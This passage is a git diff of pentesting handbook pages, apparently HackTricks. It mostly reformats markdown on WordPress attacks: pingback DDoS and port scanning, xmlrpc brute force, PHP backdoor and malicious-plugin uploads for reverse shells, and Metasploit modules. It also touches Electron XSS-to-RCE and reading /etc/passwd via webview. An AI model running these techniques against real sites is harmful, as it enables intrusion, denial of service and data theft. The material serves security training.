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) +![](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L\_2uGJGU7AVNRcqRvEi%2Fuploads%2FFX0g2BLsdfdQnq1xXx3N%2Ffile.jpeg?alt=media) #### DDoS or port scanning -If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port. -This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** \(so a **DDoS** is caused in that location\) or you can use it to make **Wordpress** lo **scan** some internal **network** \(you can indicate any port\). +If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\ +This can be used to ask **thousands **of Wordpress **sites **to **access **one **location **(so a **DDoS **is caused in that location) or you can use it to make **Wordpress **lo **scan** some internal **network **(you can indicate any port). ```markup @@ -157,21 +157,21 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one * ``` -![](../../.gitbook/assets/1_jauyizf8zjdggb7ocszc-g.png) +![](../../.gitbook/assets/1\_JaUYIZF8ZjDGGB7ocsZC-g.png) -If you get **faultCode** with ****a value **greater** then **0** \(17\), it means the port is open. +If you get **faultCode** with** **a value **greater **then **0 **(17), it means the port is open. Take a look to the use of **`system.multicall`**in the previous section to learn how to abuse this method to cause DDoS. ### wp-cron.php DoS -This file usually exists under the root of the Wordpress site: `/wp-cron.php` -When this file is **accessed** a "**heavy**" MySQL **query** is performed, so I could be used by **attackers** to **cause** a **DoS**. -Also, by default, the `wp-cron.php` is called on every page load \(anytime a client requests any Wordpress page\), which on high-traffic sites can cause problems \(DoS\). +This file usually exists under the root of the Wordpress site: `/wp-cron.php`\ +When this file is **accessed **a "**heavy**" MySQL **query **is performed, so I could be used by **attackers **to **cause **a **DoS**.\ +Also, by default, the `wp-cron.php` is called on every page load (anytime a client requests any Wordpress page), which on high-traffic sites can cause problems (DoS). -It is recommended to disable Wp-Cron and create a real cronjob inside the host that perform the needed actions in a regular interval \(without causing issues\). +It is recommended to disable Wp-Cron and create a real cronjob inside the host that perform the needed actions in a regular interval (without causing issues). -#### **Bruteforce** +#### ** Bruteforce** ```markup @@ -183,11 +183,11 @@ It is recommended to disable Wp-Cron and create a real cronjob inside the host t ``` -![](../../.gitbook/assets/image%20%28107%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%281%29.png) +![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (2).png>) -![](../../.gitbook/assets/image%20%28224%29.png) +![](<../../.gitbook/assets/image (102).png>) -Using the correct credentials you can upload a file. In the response the path will appears \([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)\) +Using the correct credentials you can upload a file. In the response the path will appears ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```markup @@ -231,7 +231,7 @@ Using the correct credentials you can upload a file. In the response the path wi ``` -![](../../.gitbook/assets/image%20%28203%29.png) +![](<../../.gitbook/assets/image (103).png>) ### /wp-json/oembed/1.0/proxy - SSRF @@ -239,7 +239,7 @@ Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa This is the response when it doesn't work: -![](../../.gitbook/assets/image%20%28127%29.png) +![](<../../.gitbook/assets/image (184).png>) ### SSRF @@ -257,13 +257,13 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com --api-token ) Search in internet how can you access that updated page. In thi case you have to access here: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) @@ -271,7 +271,7 @@ Search in internet how can you access that updated page. In thi case you have to You can use: -```text +``` use exploit/unix/webapp/wp_admin_shell_upload ``` @@ -281,68 +281,67 @@ to get a session. ### PHP plugin -It may be possible to upload .php files as a plugin. +It may be possible to upload .php files as a plugin.\ Create your php backdoor using for example: -![](../../.gitbook/assets/image%20%28417%29.png) +![](<../../.gitbook/assets/image (407).png>) Then add a new plugin: -![](../../.gitbook/assets/image%20%28416%29.png) +![](<../../.gitbook/assets/image (409).png>) Upload plugin and press Install Now: -![](../../.gitbook/assets/image%20%28420%29.png) +![](<../../.gitbook/assets/image (411).png>) Click on Procced: -![](../../.gitbook/assets/image%20%28421%29.png) +![](<../../.gitbook/assets/image (412).png>) Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded: -![](../../.gitbook/assets/image%20%28415%29.png) +![](<../../.gitbook/assets/image (413).png>) Access it and you will see the URL to execute the reverse shell: -![](../../.gitbook/assets/image%20%28414%29.png) +![](<../../.gitbook/assets/image (414).png>) ### Uploading and activating malicious plugin -#### **\(This part is copied from** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)**\)** +#### **(This part is copied from **[**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)**)** Some time logon users do not own writable authorization to make modifications to the WordPress theme, so we choose “Inject WP pulgin malicious” as an alternative strategy to acquiring a web shell. So, once you have access to a WordPress dashboard, you can attempt installing a malicious plugin. Here I’ve already downloaded the vulnerable plugin from exploit db. -Click [**here**](https://www.exploit-db.com/exploits/36374) ****to download the plugin for practice. +Click [**here**](https://www.exploit-db.com/exploits/36374)** **to download the plugin for practice. -![](https://i1.wp.com/1.bp.blogspot.com/-Y_Aw7zSFJZs/XY9pymSjdvI/AAAAAAAAguY/FGyGEzlx9VIqNYyyra9r55IklNmwXwMQwCLcBGAsYHQ/s1600/10.png?w=687&ssl=1) +![](https://i1.wp.com/1.bp.blogspot.com/-Y_Aw7zSFJZs/XY9pymSjdvI/AAAAAAAAguY/FGyGEzlx9VIqNYyyra9r55IklNmwXwMQwCLcBGAsYHQ/s1600/10.png?w=687\&ssl=1) Since we have zip file for plugin and now it’s time to upload the plugin. -Dashboard > plugins > upload plugin +Dashboard > plugins > upload plugin -![](https://i0.wp.com/1.bp.blogspot.com/-FLhqB0I32Mg/XY9pyrlKWAI/AAAAAAAAguU/tofpIetTCv4Mho5y5D_sDuuokC7mDmKowCLcBGAsYHQ/s1600/11.png?w=687&ssl=1) +![](https://i0.wp.com/1.bp.blogspot.com/-FLhqB0I32Mg/XY9pyrlKWAI/AAAAAAAAguU/tofpIetTCv4Mho5y5D_sDuuokC7mDmKowCLcBGAsYHQ/s1600/11.png?w=687\&ssl=1) Browse the downloaded zip file as shown. -![](https://i2.wp.com/1.bp.blogspot.com/-KMumiwE2Tf0/XY9pzznEI4I/AAAAAAAAguk/BavBJP6plFo8NIpa38oWEKfx0jkOXv3HgCLcBGAsYHQ/s1600/12.png?w=687&ssl=1) +![](https://i2.wp.com/1.bp.blogspot.com/-KMumiwE2Tf0/XY9pzznEI4I/AAAAAAAAguk/BavBJP6plFo8NIpa38oWEKfx0jkOXv3HgCLcBGAsYHQ/s1600/12.png?w=687\&ssl=1) Once the package gets installed successfully, we need to activate the plugin. -![](https://i2.wp.com/1.bp.blogspot.com/-YrFg94Y2EZs/XY9pzydfLDI/AAAAAAAAgug/AjZyQ6Na8kUUmquJXwoapxcmr2-8nAMwQCLcBGAsYHQ/s1600/13.png?w=687&ssl=1) +![](https://i2.wp.com/1.bp.blogspot.com/-YrFg94Y2EZs/XY9pzydfLDI/AAAAAAAAgug/AjZyQ6Na8kUUmquJXwoapxcmr2-8nAMwQCLcBGAsYHQ/s1600/13.png?w=687\&ssl=1) When everything is well setup then go for exploiting. Since we have installed vulnerable plugin named “reflex-gallery” and it is easily exploitable. You will get exploit for this vulnerability inside Metasploit framework and thus load the below module and execute the following command: -| 1234 | use exploit/unix/webapp/wp\_slideshowgallery\_uploadset rhosts 192.168.1.101set targeturi /wordpressexploit | -| :--- | :--- | - +| 1234 | use exploit/unix/webapp/wp_slideshowgallery_uploadset rhosts 192.168.1.101set targeturi /wordpressexploit | +| ---- | --------------------------------------------------------------------------------------------------------- | As the above commands are executed, you will have your meterpreter session. Just as portrayed in this article, there are multiple methods to exploit a WordPress platformed website. -![](https://i1.wp.com/1.bp.blogspot.com/-s6Yblqj-zQ8/XY9pz0qYWAI/AAAAAAAAguo/WXgEBKIB64Ian_RQWaltbEtdzCNpexKOwCLcBGAsYHQ/s1600/14.png?w=687&ssl=1) +![](https://i1.wp.com/1.bp.blogspot.com/-s6Yblqj-zQ8/XY9pz0qYWAI/AAAAAAAAguo/WXgEBKIB64Ian_RQWaltbEtdzCNpexKOwCLcBGAsYHQ/s1600/14.png?w=687\&ssl=1) ## Post Exploitation @@ -370,23 +369,22 @@ add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Also, **only install trustable WordPress plugins and themes**. +Also,** only install trustable WordPress plugins and themes**. ### Security Plugins -* \*\*\*\*[**Wordfence Security**](https://wordpress.org/plugins/wordfence/)\*\*\*\* -* \*\*\*\*[**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)\*\*\*\* -* \*\*\*\*[**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)\*\*\*\* +* ****[**Wordfence Security**](https://wordpress.org/plugins/wordfence/)**** +* ****[**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)**** +* ****[**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)**** ### **Other Recommendations** -* Remove default **admin** user -* Use **strong passwords** and **2FA** -* Periodically **review** users **permissions** -* **Limit login attempts** to prevent Brute Force attacks +* Remove default **admin **user +* Use **strong passwords **and **2FA** +* Periodically **review **users **permissions** +* **Limit login attempts **to prevent Brute Force attacks * Rename **`wp-admin.php`** file and only allow access internally or from certain IP addresses. -## \*\*\*\* - +## **** diff --git a/pentesting/pentesting-web/xss-to-rce-electron-desktop-apps.md b/pentesting/pentesting-web/xss-to-rce-electron-desktop-apps.md index a7516818..0a46faa5 100644 --- a/pentesting/pentesting-web/xss-to-rce-electron-desktop-apps.md +++ b/pentesting/pentesting-web/xss-to-rce-electron-desktop-apps.md @@ -2,10 +2,10 @@ Recommended read for more trick: [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1) -When I test Electron app, first I always check the options of the [BrowserWindow API](https://www.electronjs.org/docs/api/browser-window), which is used to create a browser window. By checking it, I think about how RCE can be achieved when arbitrary JavaScript execution on the renderer is possible. +When I test Electron app, first I always check the options of the [BrowserWindow API](https://www.electronjs.org/docs/api/browser-window), which is used to create a browser window. By checking it, I think about how RCE can be achieved when arbitrary JavaScript execution on the renderer is possible.\ Example: -```text +``` const mainWindowOptions = { title: 'Discord', backgroundColor: getBackgroundColor(), @@ -32,7 +32,7 @@ const mainWindowOptions = { If the nodeIntegration is set to true, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is: -```text +``` @@ -40,9 +40,8 @@ If the nodeIntegration is set to true, a web page's JavaScript can use Node.js f ## Read Arbitrary Internal FIle -If contextIsolation set to false you can try to use <webview> \(similar to <iframe> butcan load local files\) to read local files and exfiltrate them: using something like **<webview src=”file:///etc/passwd”></webview>:** +If contextIsolation set to false you can try to use \ (similar to \